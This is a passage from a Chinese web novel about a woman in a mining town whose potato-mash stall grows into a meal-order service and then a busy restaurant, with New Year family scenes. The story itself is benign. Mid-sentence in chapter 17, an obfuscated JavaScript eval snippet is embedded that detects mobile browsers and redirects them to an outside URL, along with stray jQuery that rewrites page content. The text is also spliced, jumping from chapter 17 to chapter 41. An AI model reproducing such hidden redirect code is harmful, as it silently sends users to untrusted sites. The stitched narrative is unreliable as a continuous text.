贺明珠忽然停下脚步。 孙向前赶紧跟着刹车停下来。 贺明珠直勾勾地盯着他:“你刚刚说的话,再重复一遍。” 孙向前被看得有些不安,绝望地说:“贺同学,我真的不是在暗示你送我土豆泥……” 贺明珠摇摇头:“不是这个。” 孙向前疑惑地重复道:“我妈做饭难吃?” 贺明珠摇头:“不是这句。” 孙向前不确定道:“我家平时从食堂打菜带回来?” 贺明珠说:“也不是这句。” 孙向前绞尽脑汁:“我妈忘了订菜?” 贺明珠一拍手:“就是这个了!” 孙向前惊讶地看着贺明珠,她绽开一个大大的笑,一巴掌拍在他肩膀上。 “幸好有你提醒,我怎么就忘了还有送餐的这条路呢?” 17. 第 17 章 张跃进最近有点烦。 自从一矿门口禁止摆摊后,他吃不上便宜实惠的棒骨土豆泥,又恢复了要么忍饥挨饿,要么忍痛在食堂打饭的日子。 但最近食堂厨师也不知吃错什么药,大锅菜做得半生不熟不说,连盐也舍不得放,吃的人嘴里快淡出个鸟。 天天吃的缺盐少油,习惯了油脂丰富又滋味浓郁的土豆泥,张跃进不是一丁半点的不习惯。 回家吃吧,更心烦了。 俩儿子吃得比他这个当爹的都多,吃完一抹嘴,碗底舔得比洗过都干净,然后说没吃饱。 其中一个傻小子还抱怨:“爸,你不是不在家吃饭吗?” 他不在家吃饭,打开窗户吃西北风啊?! 嗨,真是气不打一处来! 冬天煤炭消耗量大,矿上为了赶生产,定下死目标,完不成就要公开批评,还影响评优评先。 为了本组产量达标,他不仅在自己值班的时候下井,同事值班的时候他也下井帮忙,每天除了吃饭睡觉,都耗在了黑洞洞的矿井里。 井下诸多不便,第一条就是没厕所。 张跃进沿着矿道,找了个人少的地方,避开满地“地雷”,找了块空地,蹲下来就地解决。 正憋气呢,黑暗中,他听到旁边有人在说话。 “你订了吗?” “订了,你也订了?” “那必须的。” “你把纸条给我,等会儿我上去把你的那份一起取下来。” 张跃进听得好奇,忍不住出声问道:“你们订的什么啊?” 黑漆漆的矿道,乍一听到第三人插话,说话的两人被吓了一大跳。 “哎妈呀,鬼啊!” 张跃进急忙提起裤子,把安全盔上的头灯拧开。 “别怕别怕,是我,老张,张跃进,采煤二队的。” 看清了脸,确定是大活人,两人这才放松下来。 得知张跃进是想知道他们订的什么,两人很痛快地就说了。 “就是土豆泥啊,你之前不是也在门口地摊上买过吗?” 土豆泥! 张跃进压抑着内心的激动,追问道:“保卫科之前不是不让在大门口摆摊吗?现在又可以摆了?” 对方答道:“那肯定不行,矿上领导说了不让摆,那绝对是不能摆的。” 张跃进迷茫了:“那你们是怎么买的?” 经过两人的解释,他这才知道,原来不让摆摊后,摊主搞了个什么订餐制。 顾客提前一天把饭盒和钱交过去,第二天摊主把装好了的饭盒送到矿上,一天两次,不用排队,拿到手的饭甚至有些烫手。 这不就和在食堂订餐一个意思吗? 张跃进心动又犹豫。 “这是私人买卖,不是公家单位,万一拿钱跑了怎么办?” 两人都说:“不至于,这一天矿上订饭的没有一百也有八十了,还能贪你这一毛钱?” 话是这么说,但谁的钱谁心疼,要真卷钱走了,他能找谁要去? 张跃进一直纠结到交班,最终按捺不住肚里馋虫,决定先去看看情况。 交班的时间点,一矿大门口人来人往,热闹极了。 他按照那两人告诉的位置,走出大门,沿着围墙,拐过弯,走了一百米后,才看到一处被人群围着的简陋小摊。 摊上有两个人,高壮些的在收饭盒,瘦一点的在收钱登记。 旁边是用来装饭盒的两个大筐子,其中一个已经装满了,另一个也装了一半多。 张跃进推着车过去,摊主注意到他,忙中抽空冲他打了声招呼:“叔,你来了,有段时间没见着了,最近忙着呢?” 张跃进心里一下就热乎起来了。 摊主还记得他这个老客户呢! “忙,忙,最近赶生产,特别忙。” 摊主听了他的话,亲亲热热地说道:“叔,那你可千万要注意身体,再忙也要好好吃饭,主席都说了,身体是革命的本钱,你的健康才是最重要的。” 这话说得太熨帖了,太贴心了,张跃进一张老脸顿时舒坦得红光满面。 看人家闺女多好,多贴心! 这才是贴心小棉袄,自家那两个孽畜只会嫌亲爹吃得多。 这辈子头一次,张跃进羡慕起了生女儿的家庭。 脑子一热,他就说:“你这儿是怎么订饭的?给我也订一份!” 交了饭盒又交了一毛钱,直到拿着取餐的小纸条,踩着自行车回去时,张跃进的脚下还有些飘 真好啊,哎,家里有闺女可真好…… 回了家,一推开院门,自行车还没停好,小儿子就来翻他的包。 “爸,你单位发的面包呢?你没自己吃了吧?我还饿着呢。” 张跃进:“……滚滚滚!” 臭小子怎么就不知道问问他老子饿不饿?! ***** 实行订餐制的效果比贺明珠预计得要更好。 短短几天试行下来,订餐的人数就破了百,而且还在不断增长。 虽然每天要备餐的份量也相应翻倍增加,但工作量反而比摆摊的时候要更少一些。 摆摊时她要打饭要收钱,还要在寒风中站一个多小时,每次都被从头到脚冻透了,哆哆嗦嗦骑车回家,坐在炉子旁烤半天火才能缓过来。 改成订餐制后,贺明珠可以在家里完成备餐分装的工作,按约好的时间把装好菜的饭盒运到一矿门口,最多不到半小时就能发完。 而且实行订餐制,她能更有效地控制备餐份量,不用担心准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457107|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备太多卖不出去,也不用担心准备太少不够卖。 食客们对无须挤着打饭、只需提前预订的模式接受良好,大冬天的,没人喜欢在室外待太久,谁不想体会饭来张口的快乐? 矿工们口口相传,熟客带熟客,没几天时间来订餐的人就越来越多。 从只需要备三十斤的菜,到五十斤,再到八十斤,按这个速度发展下去,很快就要突破一百斤。 贺明珠忙不过来,就找了刘燕,以每天五毛钱的工钱,雇她帮忙。 两个人每天就吭哧吭哧地洗土豆、削皮、切块、煮熟、捣碎…… 贺明珠觉得自己都快被土豆腌入味了。 贺大哥看不过去,尽管他所在的分矿最近也在加班加点地赶生产,但还是抽空用木桶和刷子做了一个简易的半自动洗土豆桶。 把脏兮兮的土豆倒进桶里,注入水,拉动绳子,桶内的刷子就会开始转动,冲刷掉附着在土豆表面的泥土。 有了这个洗土豆桶,贺明珠的工作量减少了一半还多。 她美滋滋地想,有大哥真好。 贺明珠还把这段时间收到的一大把零钞一股脑堆到贺小弟面前,让他去数。 贺小弟就任劳任怨地把几分几毛的钞票和钢镚分成几堆,数完了告诉贺明珠:“姐,一共是二十三块六毛。” 她挺高兴的,这才几天,就比她之前摆摊挣得要多得多。 按这个速度发展下去,用不了多久,她就能攒下创业的第一桶金。 上午的时候,贺明珠正备餐呢,忽然有人不敲门就进来了。 “做什么好吃的呢?给我也吃点。” 贺明珠看过去,是个有点眼熟的老太太,后面还跟了个更眼熟的年轻女人,追着喊:“妈!你怎么不敲门就进来?!” 和贺明珠的视线对上,年轻女人有些窘迫地说:“明珠,你哥还没下班吗?” 贺明珠随手盖上锅盖,说:“我哥上早班呢,估计下午三点以后才能到家。” 老太太一点也不见外地凑过来,伸手就要掀锅盖。 “炖什么呢,给我也尝尝。” 贺明珠眼疾手快,一手按住锅盖,说:“就是些炖骨头,还没熟。” 老太太不甘心,还想拨开贺明珠的手。 “你肯定是炖肉呢,怎么这么小气,把手拿开,我老太太能吃你多少?!” 贺明珠不放手:“婶子,都说了没熟,你急什么啊?” 年轻女人追上来,急得直喊:“妈!哪有你这样到别人家里翻人家锅的啊!” “你要这样我就回去了!” 老太太这才心不甘情不愿放开手,嘴里嚷嚷着:“他贺明国要娶我闺女,我吃他们家几口肉怎么了?!拿个碗,给你爸和你大哥装上,让他们也吃点肉……” 40-50 第41章 第41章名声鹊起(修) 第一天开业,来饭店吃饭的人不算多,大多数人都是在门口看个热闹,只有寥寥几个胆子大的人,怀着一颗忐忑的心,勇敢地迈进了门。 然后就吃到了迄今为止吃到过最好吃的饭菜。 赵计划和刘爱民原本只是想进来看看,没想到背后嘀咕耗子饭店时被老板听了个正着。 两个大小伙子抹不开脸,加上确实被店里的饭菜香味馋的肚子直打鸣,半推半就地找了张空桌子坐下来,迫不及待地点起了菜。 这俩都是一人吃饱全家不饿的光棍,加上留了个心眼,没把全部工资都上交家里,手里捏着钱胆气就壮,点起菜来一点也不客气,二话不说把菜单上的大荤点了个遍。 炖棒骨果然如想象中一样牙齿轻轻一咬便轻松将整块肉撕下,肉质细嫩,酱香浓郁,恨不能连骨头也嚼碎了吞下。 再喝一口香浓羊汤,捞一筷子口感丰富的羊杂,隆冬时节,吃得一脑门都是热汗。 比起在家吃饭要和一大家人抢菜里的几条肉丝,此时大口吃肉的快乐,让人从胃袋到心里都涌上幸福的充实感。 太爽了,原来吃肉可以这么痛快淋漓! 不用顾忌同桌人的目光,不用忍痛让给小辈长辈,不用寻宝似的在菜盆里翻找少得如同秃子头发的肉丝,更不用去想厨房是不是藏着肉留给别人开小灶。 现在,就现在,一整盘的肉都属于自己! 赵计划和刘爱民吃得头也不抬,脸都快埋进盘子里,两双筷子使得飞起。 筷子不过瘾就直接上手,左右开弓,抓着棒骨吃得不亦乐乎,嘴巴脸上蹭得油乎乎。 受这两人吃相所感染,外面的人按捺不住进了店。 手头宽裕的二话不说点了整套同款;手头紧的就只点了最馋人的棒骨,琢磨着要是好吃就下次再来买奶白羊汤和红油羊杂。 不一会儿,店里就坐得满满当当。 晚一步进店的客人,见没了位置,举目四望,见着熟人就凑上去拼个桌。 饭店离一矿近,来吃饭的都是一矿职工,互相间即使不认识也眼熟,随便聊两句就能牵扯出共同朋友,甚至还能发掘出亲戚关系。 一时间,店里热闹极了,聊天声笑声充满了整间屋子,震得屋檐的雪都落了下来。 贺明军第n次拒绝了进门点菜的客人。 “对不住,今天备的菜已经全部用完了,您明天再来吧。” 客人狐疑地看看天色:“这不是还没天黑吗?怎么这会儿就没菜了?你不是在骗我吧?” 贺明珠笑嘻嘻地凑过来:“没骗您,是真的没了,谁让菜太好吃,大伙儿都喜欢呢?这是打折券您拿好,下次来吃饭打八八折,算我们的一点小补偿~” 客人既遗憾又高兴,遗憾的是今天吃不了,高兴的是下回来拿打折券吃饭更便宜。 他小心把打折券放进了上衣内袋,打算明天叫上家人一起来饭店开荤。 等最后一桌客人离开后,贺明军收了碗筷,贺明珠关了门,挂上“打烊”的牌子。 后厨里,用过的碗筷摞了一大盆。 幸好这年头因为物资短缺,大家普遍珍惜粮食,基本没有剩饭,甚至有人吃完了还要用热水涮涮碗,把剩下的一点油星都喝干净。 因此,这些碗不算难洗,就是贺明珠对卫生要求高,洗完还要用滚水再煮一遍来消菌杀毒。 贺明军感叹:“没想到开饭店比走私还累。” 今天这一天,他从早忙到晚,从洗菜切菜上菜,到打扫卫生收拾桌子,再到收银找零,忙得脚不沾地,连口水都来不及喝。 贺明珠泡在后厨,抡大勺抡得手腕发麻,简直像在玩什么vr空姐配餐游戏,没完没了的单子从窗口递进来,时不时还有客人要加菜。 之前摆摊时只需要提前备好菜,现场打菜就可以,程序是简单明确的一条直线;现在简直是个乱糟糟的毛线团,千头万绪,忙得人脚打后脑勺。 好不容易忙完,前堂要打扫卫生,后厨堆满了脏碗,还有明天的备菜要处理。 贺明国下了班就来帮忙,同来的还有大嫂齐家红。 贺小弟乖乖蹲在收银台帮忙数钱算账,抽屉里全是几毛几分的碎钞,他吭哧吭哧一边算,一边不熟练地用铅笔写在纸上。 个,十,百……一百,二百,三百…… 贺小弟数着数着,长长地打了个哈欠,在长凳上睡着了。 饶是几个人都是干活的熟手,动作麻利,直到半夜才将饭店打扫清爽。 贺明珠揉了揉酸疼的手腕,坚决地说:“招人,必须招人!” ——至少先把洗菜洗碗的活儿外包出去! 这边招着干活的工人,那边煤矿人家已经在矿上日益出名。 “你吃过三产饭店没?” “没,听说那地儿可脏了,领导去吃饭都能吃出只耗子,那普通人不得吃耗子屎啊?” “你说的都是老黄历了,人家现在可不一样,饭店换老板了,里面一 点都不脏,特干净,做的菜也特好吃。” “怎么,你吃过?” “那可不,可好吃了,还限量呢,不早点去都吃不着。要不是咱俩关系好,这事儿我都不告诉你。” “这么好啊,那今天下班咱俩一块吃去呗。” 有的人从贺明珠摆摊时就来买饭,作为老顾客收到了八八折的打折券,心里一算账,这比去国营饭店吃还便宜呢,立马就叫上朋友家人一起来。 这打折券的有效期只有一周,有券不用过期作废啊! 还有的人是赶时髦的新潮青年,矿务局新开的饭店必须来尝尝,不管是真耗子餐厅,还是假耗子饭馆,说出去都是谈资。就算真吃着耗子肉了,那也是朋友里的头一份啊。 这就和鬼屋蹦极一个意思,玩的就是心跳,刺激! 快过年了,人们对自己都更宽容些,更舍得慰劳辛苦一年的身体。 听到有好吃的好喝的,放在平时嫌贵,这会儿就大方敞开钱袋子,该吃吃该喝喝,钱是王八蛋,花了咱再挣。 再加上国营饭店定价高,不仅收钱还要收票,服务员一个个眼睛都长天上去了,见人就翻白眼,开店的是大爷,吃饭的是孙子。 普通人花着大价钱来国营饭店吃饭,结果一顿饭吃完了没吃饱,纯气饱的。 而重新开业后的三产饭店除了及其美味的食物,更加值得称道的是他们的服务态度。 店里忙活的就俩人,一个是忙前忙后的男孩子,个子高不说,人长得还精神,虽然有些不爱笑,但说话挺有礼貌,和矿上的大老粗形成鲜明对比,不知吸引了多少大姑娘小媳妇。 另一个是掌厨的小姑娘,总是笑眯眯的,说话特别讨人喜欢,做事也大气。 见到来饭店请客的老顾客,她从后厨亲自出来送碟小菜,结账时再抹个零,让请客的在客人面前倍有面子。 多重因素下,新开的煤矿人家天天人满为患,挤得连下脚的地方都快没了。 别说什么耗子不耗子的,没看见人家饭店打扫得这么干净吗?说耗子的就多余! 渐渐地,什么三产饭店耗子窝的外号没人提了,取而代之的是—— 煤矿人家。 第42章 第42章年货与日行一善(修)…… 临近过年,作为家里唯一的正式工,贺明国从单位领到几张年货票,可以凭票去买糖买肉买鱼。 为了让大伙儿过好年,菜店肉店副食品店通通加倍供应,更有平时难得一见的稀罕商品,于是门口日日人满为患。 今天副食品店供应冻带鱼,这在北方可是稀罕货,一年到头吃不上几次。供应告示才贴出来,前一天晚上就有人裹着被子来排队。 天还没亮,长队排出十里开外。 队列里大多是放寒假的小孩,家里大人要上班,孩子便负责起长时间的排队,等快排到时,再由火眼金睛擅长挑选最肥带鱼的家长替换。 幸好小孩火力旺,顶着凛冽寒风也不畏惧,嘻嘻哈哈和前后的同伴打闹玩耍。 贺明珠也拿着年货票去副食品店买带鱼。 上次卖给老贾棒骨的事让赵大哥吃了个大亏,他痛定思痛,觉得还是卖给贺明珠靠谱,结账爽快,从不拖欠。 要不是听了老贾的鬼话,他怎么会好端端断了和贺明珠的合作? 赵大哥还想把合作再续上,问题是,人家现在找到了更便宜的渠道买棒骨,不找他买了。 赵大哥郁闷极了,暗骂自己怎么当时就昏了头,也生气贺明珠一点面子都不给,还真不买他们店里的棒骨,害得他被领导训了一顿。 但现在贺明珠租了三产的房子,自家开了饭店,据说生意爆满,顾客络绎不绝,甚至连矿上领导都去吃饭,一看就很有发展前途。 赵大哥为人势力,急忙和贺明珠交好,见面亲亲热热的,就好像之前的事情没发生过。 他大事不办,小事上倒愿意行点方便,早早将带鱼捡出来放在篮子里,从后门悄悄递给贺明珠。 贺明珠递上年货票和钞票,简单寒暄两句,便先行离开。 长队中忽然一阵喧闹,一个穿着不合身旧衣的小姑娘被几个打闹的小男孩撞倒在地,手里紧紧捏着的年货票和一把零钞也散了一地。 矿上孩子有种小兽般的野性,平时接受的都是简单粗暴的棍棒教育,是弱肉强食法则的坚定拥趸。 这会儿见了满地的票和钱,成年人还顾着脸面,小孩子一哄而上,抓了就跑。 小姑娘形只影单,张着两只手,拦了这个又跑了那个,左右支绌。 她个子小,被人随手一把就推倒,整洁的旧衣上沾了脏雪煤渣,狼狈极了。 小姑娘眼圈都红了,死死咬着嘴唇,硬是一滴泪没掉,抓起地上的石头,爬起来就去砸那些抢了她钱的孩子。 “把我家的年货票和钱都还给我!” 那几个小男孩才不怕她,脖子一梗,还想再打回去。 周围大人们只当在看小孩子的闹剧,没人站出来主持正义,笑嘻嘻地看小姑娘要怎么办。 小姑娘拿着石头,用力砸向了抢最多钱的家伙。 那是个大男孩,上唇开始长毛茸茸的小胡子,有力气没脑子,被个小姑娘打了立刻暴怒,怒气冲冲就要去踹人。 愣头青没轻重,对着小姑娘当胸一脚跺下去,位置寸了背过气也是有可能,这年头心肺复苏没普及,真出事儿了送医院也来不及。 小姑娘眼前只剩下那只穿着牛皮底棉靴的臭脚,一时间吓得人都忘了躲。 说时迟那时快,突然有人伸手抓住愣头青的后脖领,用力一扯,将他扯了个趔趄,脚下一滑,就重重摔在地上。 紧接着,来人一脚踩在愣头青身上,趁他摔得头晕目眩,从兜里掏出抢走的钱票,上前一步,递给了小姑娘。 “收好,别弄丢了。” 小姑娘愣愣地接过东西,都忘了要和这位雷锋女士说句谢谢,便又见她走到另外几个抢了钱的小男孩面前,毫不客气地抓着他们,要他们把抢来的东西拿出来。 这帮小男孩一贯的欺软怕硬,见了好欺负的小姑娘就明抢,见了强硬的就老实,怕也被打,就乖乖将东西交了出来。 贺明珠把收缴的钱和票都还给小姑娘,让她清点一下,看看有没有缺失。 这时,一个中年妇女横冲直撞地朝贺明珠冲过来,身后还跟着耷拉着脑袋的愣头青。 “你居然敢打我儿子!你看我不打死你!” 贺明珠轻巧避开她要扇过来的巴掌,反手抓住对方手腕,反折过去,关节处被硬生生扭成一个看着就很痛的角度。 中年妇女痛叫一声,愣头青忙凑过来,贺明珠一眼瞪过去,他就畏畏缩缩地退回去。 贺明珠特意等了等,见中年妇女疼得快没声了,才稍微松了松手上力道。 “你儿子抢钱打人欺凌弱小,我是在帮你教育他,你不谢谢我就算了,还敢来找我的碴,你可真是狗咬吕洞宾,不识好人心。” 中年妇女嘴很硬:“不用你管,小孩子间打闹很正常,我儿子又没干坏事,谁要你多管闲事!” “他就是在干坏事!” 小姑娘勇敢地冲中年妇女大喊:“他抢走我的钱,还要打我!” 贺明珠赞许地看了小姑娘一眼,转头威胁中年妇女:“让你儿子现在就道歉,不然我就报警,让公安同志来处理。” 中年妇女心虚了,但还是说:“几块钱的小事,公安才不会搭理你们!再说了,我儿子又没打到她,凭什么道歉!你打了我儿子,你才要给我们道歉!” 贺明珠“啧”了一声,她就知道,有其母必有其子,没有无底线溺爱的母亲也纵容不出当街抢钱的儿子。 她没在和中年妇女做言语上的争辩,简单道:“要么道歉,要么我把这事儿闹大,你儿子档案里加上一笔抢劫打人的记录,以后别想找到单位上班。” 中年妇女目瞪口呆。 片刻,道了歉的愣头青垂头丧气地跟在中年妇女身后,灰溜溜地回家了。 而小姑娘眼睛亮晶晶地仰头盯着贺明珠,一脸的崇拜。 举手之劳,贺明珠没把这当回事儿,拎着篮子准备走,临走前想起来,对小姑娘叮嘱一句:“以后不要带太多钱出来,对你不安全,让你家大人来买。” 小姑娘乖乖点头,但还是说:“妈妈要上班,没空来,我买也可以。” 家家有本难念的经,解决不了问题就不要对别人的生活指手画脚,否则只会像个滑稽的小丑。 看看队列中神色各异的陌生人,贺明珠想了想,把篮子里的带鱼递给小姑娘,她拿上对方的钱和票,重新再去买一份。 “回家吧,路上注意安全。下次把钱和票藏好,不要让别人知道。” 带鱼沉甸甸的,小姑娘两只手都提不过来,只能用力点头,一双眼亮晶晶地看着贺明珠。 等她长大了,也要成为这样厉害又善良的姐姐! 小姑娘提着篮子回家,等妈妈下班后,迫不及待和妈妈说了今天发生的事,特别是那个善良漂亮的大姐姐,她着重描述。 正在灶台边忙活做饭的妈妈一愣,问道:“你知道她是谁,叫什么名字吗?” 小姑娘苦思冥想了半天,还是想不起当时有没有人叫过这个姐姐的名字。 她垂头丧气地说:“妈妈,我不知道姐姐叫什么……我这样的,是不是就是老师课上说的‘忘恩负义’啊?” 妈妈拿灶台边的抹布擦擦手,搂着她说:“没事,等忙完过年的事,妈妈年后陪你去找姐姐,我们当面向她道谢。” 小姑娘高兴地跳起来。 太好了,她又能见到姐姐了! 第43章 第43章大年三十(修) 大年三十,贺家热闹极了。 小院里堆满了各式年货,有的是贺明国单位发的,有的是贺明军用电子表和人换的,还有的是贺明珠在大集上和农民买的。 从水灵灵的大白菜,到红通通的苹果,再到冻得硬邦邦的豆腐豆皮,角落里还堆了几坛农家自制的大酱和辣酱。 整条的鲤鱼,去毛的生鸡,滚圆的猪腿,以及半扇羊肉,通通都挂在墙上,以防野猫偷吃。 贺家这个年过得相当丰盛,也相当安稳。 贺明珠提前将钱还给了几家催逼最紧的债主,对方拿到钱心满意足,又见贺家几个孩子日益出众,个个有本事,特别是贺明珠,有能力又有手腕,日后还不知是怎样一番光景。 世人多有慕强之心,见他弱便轻蔑踩一脚,见他强又殷勤凑上来。 因此,即使没能一次性还清所有债务,贺家也能得以安心过年,不必担心大年三十有人堵门要债,更不用担心吃得太好被人说三道四。 正月这几天矿务局全体休息,矿上只有寥寥值班人员,按惯例这时食堂会往井下送餐。 贺明珠暂停了饭店生意,专心准备过年。 她在厨房忙得不可开交,试图用有限食材做出一桌大餐,两个大灶和一个炉子上都坐上了锅,在火舌的舔舐下咕噜噜往外冒蒸汽。 贺明军帮妹妹打下手,不知他是从哪儿学来的,坚决不让她碰冷水,垄断了前期处理食材的工作,又洗又削又切,忙得脑门直冒热气。 贺明国也没闲着,家里的收音机拿去抵债了,暂时没钱也没工业票再去买个新的,他索性买了零件,自己从头开始攒收音机。 他工作忙,只能每天从睡眠时间中偷出几个小时,摆弄一桌子的零件。 最开始是矿石收音机,不用接电线也不用装电池,安装好天线,戴上耳机就能听广播。 但矿石收音机只能供一人使用,而且还要在天线上安装避雷针,免得一个雷劈下来炸了机器,更炸了听力。 贺明国就又琢磨起半导体收音机。 他高中没上完就下乡插队去了,而且当时已经乱起来,高中已经顾不上教授知识,他没学到什么。 半导体收音机的结构要比矿石收音机更复杂,土法子不顶用,贺明军就找人借了无线电方面的期刊杂志,自己摸索着制作。 零件不算便宜,他就从自己吃穿上挤钱,挤一点出来钱就买一个零件。就这么一步一步的,收音机的雏形初见端倪。 但最关键的晶体管太贵,而且经常没货,贺明国买不到,收音机自制的进度条被迫卡在终点前。 贺明珠知道大哥在攒收音机,就时不时去看一看小屋桌子上摆着的半成品收音机。 当注意到半成品已经很久没变时,她意识到可能是出现什么困难了。 然而,贺明国在弟妹面前一向是一个强有力的保护者形象,不愿意将问题摆出来,更多是自己默默解决后再轻松说一句这没什么。 他不说,贺明珠也不追问。 她最近做生意认识的人多,消息灵通,打听到有人要处理坏了的收音机,立刻带着钱上门收购。 贺明珠提着几台废旧收音机回家,不好意思地对大哥说,能不能帮她把能用的零件都拆下来,重新组装一台能用的收音机。 贺明国接收到了妹妹委婉的好意。 他将几台收音机拆了装装了拆,从杂志上轻飘飘学到的知识终于落到实地,对自制半成品的制作思路也推翻重来。 同时,缺少的晶体管终于不是问题,最后一块拼图被合上。 大年三十,贺明国不用值班,就在小屋里调试自制收音机,好用来收听广播台的过年节目。 贺明军见不得他这么悠闲,两只手湿淋淋地就去抓老大出来干活,塞他一块抹布,指挥去擦玻璃。 贺明国才将收音机调到能接收声音的频段,还没进一步调整,就被老二给拽了出来,差点还把辛辛苦苦攒的收音机给摔了。 他气得说:“咱爸咱妈怎么还要生你,我看完全没有这个必要,不如直接生妹妹。” 贺明军才不搭理他,两人斗嘴是日常,从小就懂得怎么戳对方心窝子。 “别想偷懒,厨房的事儿归我和老三,但剩下的可都归你,大过年的别光顾着倒腾你那破收音机,快点给我干活去!” 忽然,一道莽莽撞撞的童声插话:“大哥,二哥,那我要干啥活啊?” 贺明军低头一看,贺小弟一手鞭炮一手火柴,一身的火药味儿,兴奋得小脸蛋都是红的。 他没耐心哄孩子,抬脚勾住小弟屁股,轻轻把他往厨房的方向踢了一脚。 “找你姐去,她让你干啥你就干啥。” 贺小弟颠颠跑进厨房,踮着脚往灶台上看,手上捏着的鞭炮差点丢进火里,幸好贺明珠眼疾手快,一把抓住鞭炮扔了出去。 贺小弟没意识到他刚刚的随手行为差点毁了自家年夜饭,还在兴奋地冲贺明珠要活儿。 “姐,我干啥活?要不我给你剥蒜吧!” 贺明珠听了脸色一变,急忙制止。 这段时间,贺小弟一求表现就剥蒜,现在家里剥好的蒜米多得可以用到正月结束。 “去帮大哥打扫卫生吧。” 贺明珠拎着小弟后脖子衣领,把他拎猫似的拎出厨房,推向大哥那边。 贺明国无奈接手小弟,领着他去擦玻璃,还特地用旧衣服给他裁了一块小抹布。 全家人各司其职,忙忙碌碌中,没人注意到一道黑影悄咪咪靠近了挂在墙上的肥鱼。 第44章 第44章听春晚吃年夜饭(修)…… 贺明珠眼尖,无意间从厨房窗户向外看一眼,发现墙上挂着的一排冻肉里忽然多了什么。 她定睛一看,居然是只肥大的野猫。 这猫有点眼熟,这段时间她经常在自家周围看到它,有时是墙后一截尾巴,有时是快速闪 过的一道猫影,还有时是窝在屋顶晒太阳。 贺明珠闲着的时候拿肉勾搭这只肥野猫,对方对她视若无睹,甩着尾巴就走了。 没想到这猫表面上对人类的引诱不理不睬,背地里胆大包天,光天化日下就敢来家里偷东西吃。 北方冬天气温极低,即使中午最热时温度也在零下,纯天然大冰箱,生鸡鲤鱼猪腿羊排都冻得很结实,甚至可以当板砖使。 贺明珠每次要做肉前,还要先将肉放到屋子里暖一暖,不然再锋利的刀砍上去也只有一道白印。 因此,虽然肉都挂在墙上,但贺明珠还真不觉得有哪个猫能啃得动,并没放在心上。 只是没想到,居然这只肥猫敢来挑战硬邦邦的冻肉。 她没出声,悄悄走出去,蹑手蹑脚地靠近墙,然后伸出手指,戳了戳这只胆大妄为的野猫。 野猫正挂在肉上,尖牙利爪并用,努力撕扯冻鱼,试图咬下一块肉来。 忽然被人类从背后戳了一下,惊得这只猫当即毛发奓起,第一反应就是逃。 然而,它刚刚太专心,爪牙深深陷进鱼肉,一时间竟然拔不出来,绝望地在冻鱼上打秋千。 太滑稽了,贺明珠笑得直咳嗽,忍不住又多戳几下。 发现人类近在咫尺,野猫更急了,使劲扑腾,扯着冻鱼在绳子上来回打晃,哐哐哐直撞墙。 这边闹得动静有点大,贺家三兄弟都过来看情况,见是只偷鱼的贼猫,贺小弟先急了起来。 “我的肉肉,我的肉肉!” 他指着猫,急得话都说不全,跑到墙边,跳着脚要把这只坏猫赶走。 偏偏他个子太矮,跳起来也打不到猫尾巴,只能眼睁睁看着坏猫抱着他的鱼跳空中探戈。 贺明国大步走过来,一把揪住野猫后脖颈,把它从鱼上扯了下来,拎在手里,皱着眉头打量。 “这只猫看着眼熟,我见过几次了,经常在附近晃悠,估计早就盯上咱家的肉了。” 贺明军一听这还了得,只有千日做贼没有千日防贼,就算这贼是只猫也不行。一家人苦了一年,就等过年吃顿好的,怎么能让猫抢了先。 他找了个装土豆的空麻袋,撑开袋口让老大把猫塞进去。 “找个地方扔远点,省得这猫以后再来。要不等下我骑车去扔,矿上有片没人的野地,扔那儿肯定回不来。” 这野猫不知是不是在人类社会混久了听得懂人话,本来还蔫蔫地挂在贺明国手上,听到贺明军的话就疯狂挣扎起来,四肢并用,活脱脱像一只被钓出水面的大鲤子鱼。 贺明国不得不把胳膊伸直些,以免被锋利猫爪抓到。 更别提把野猫塞进麻袋,差点连它后脖子都快揪不住。要不是贺明国手上有一把子力气,非得被这猫挠个满脸开花不可。 贺明军抄起麻袋,试图将老大的胳膊和猫一起装进去。 现场混乱极了,人仰猫翻,贺明珠出手拦了拦。 “别扔了,找个绳拴起来吧。猫认路,今天扔出去,说不定过几天又找回来偷肉。再说了,大年三十的,二哥别去那么老远的地方了,还是先过年,回头再处理。” 贺明军一听,觉得妹妹说的有道理,就从麻袋上抽了根绳,打了个活扣,套在野猫脖上,解救了贺明国的手。 贺明珠把猫拴在大屋门口,它一溜烟钻进柜子下,将绳子绷得笔直,警惕地瞪着猫眼观察。 她没管,就让猫待在那儿,继续去忙今天的年夜饭。 贺家人口少,理论上做饭简单,但因为有贺明国和贺明军两个青壮年,活生生的饕餮在世,饭量无底洞,平时收着不敢多吃,总不能过年也吃不饱。 贺明珠在厨房哐哐一顿操作,炖肉炖鸡炖鱼,炸丸子炸带鱼炸酥肉,家里所有的盘子大盆都被好吃的堆得满满当当。 贺小弟幸福地在大盆中徜徉。 虽然姐姐怕积食不让他多吃,但隔一会儿去厨房绕一圈,说不定就能吃到新鲜出锅美食的第一口,哪怕吃不着,闻闻味儿也很满足。 贺明军就在厨房帮忙,近水楼台先得月,借着尝尝咸淡的理由,光明正大从盆里捞吃的,一口丸子一口酥肉,时不时再捻片萝卜解腻,享受极了。 贺明国作为大哥要面子,不好像两个小的一样围着灶台打转,只偶尔去厨房看一眼,悄悄吞下口水,严肃关切一下年夜饭进展情况。 过年期间加大了糖、油供应,贺明珠拿着三大一小的糖票油票,买回来不少东西,头一次敢稍微放开手脚发挥。 先是倒了半碗油,往里面打进蛋黄,连着筷子交给二哥搅拌,制成沙拉酱后拌进蒸熟的土豆中,再加入切片鸡蛋、午餐肉和胡萝卜丁,搅拌均匀后就是清爽适口的土豆沙拉。 接着又炸了红薯块,锅中放糖熬成焦黄色,咕嘟咕嘟冒泡时倒入红薯,均匀滚上一圈糖浆,出锅后便是甜蜜蜜的拔丝红薯。 贺明珠本来还想再蒸个蛋糕,但看看剩下的一点点白糖和油,只能遗憾放弃。 随着最后一道菜出锅,另一边的饺子也包好了。 贺明国虽然不擅长做菜,但却是做面食的一把好手。 